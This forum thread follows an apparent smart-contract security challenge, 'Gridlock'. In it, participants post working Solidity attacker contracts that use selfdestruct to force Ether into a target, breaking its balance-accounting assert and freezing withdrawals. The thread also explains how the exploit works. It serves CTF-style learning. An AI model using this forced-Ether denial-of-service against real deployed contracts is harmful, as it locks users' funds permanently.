Gridlock

[passandscore]

Gridlock

The contract is amassing a significant amount of Ether, but rumors suggest it harbors a critical vulnerability. Exploit the contract and prove your skills. Success means rendering it unusable

Author: @passandscore

[codyrhoten]

Here is my solution:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import "./Challenge.sol";

contract Attacker {
    Target public targetContract;

    constructor(address targetContractAddress) {
        targetContract = Target(targetContractAddress);
    }

    function attack() external payable {
        require(msg.value > 0, "Send ether in order to attack.");
        selfdestruct(payable(address(targetContract)));
    }
}

The selfdestruct function executes a now deprecated opcode that still works to send the ether to its target, despite the lack of a fallback or receive function, without actually rendering the executing contract's code useless. This then causes the target contract to have received ether without changing its totalDeposited state. Now when it makes the check in withdrawAll() comparing that state to the actual balance of the contract, the assert() fails, and so the contract is now gridlocked.

[scadamsUAB]

A little late but here is my solution. Struggled a bit because I couldn't get funds to transfer until I came across selfDestruct during research. Didn't realize it forces value to be sent in a way that cannot be refused.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
contract Attacker {
  
    address owner;
    address private targetAddress;
    
    constructor() 
    {
        owner = msg.sender;
    }
    function setTarget(address _target) public {
        require(msg.sender==owner,"Not Owner");
        targetAddress=_target;
    }
  function gridlock() external payable {
        selfdestruct(payable(address(targetAddress)));
    } 
}

[passandscore]

selfdestruct is a special method for sure. I believe it may be deprecated in future releases.

[scadamsUAB]

From what I read it is deprecated now and the functionality has changed. Still sends all funds to a wallet when making the contract unavailable, but does not refund gas from storage (or something like that)
One of the many double edge swords in EVM Smart contract development.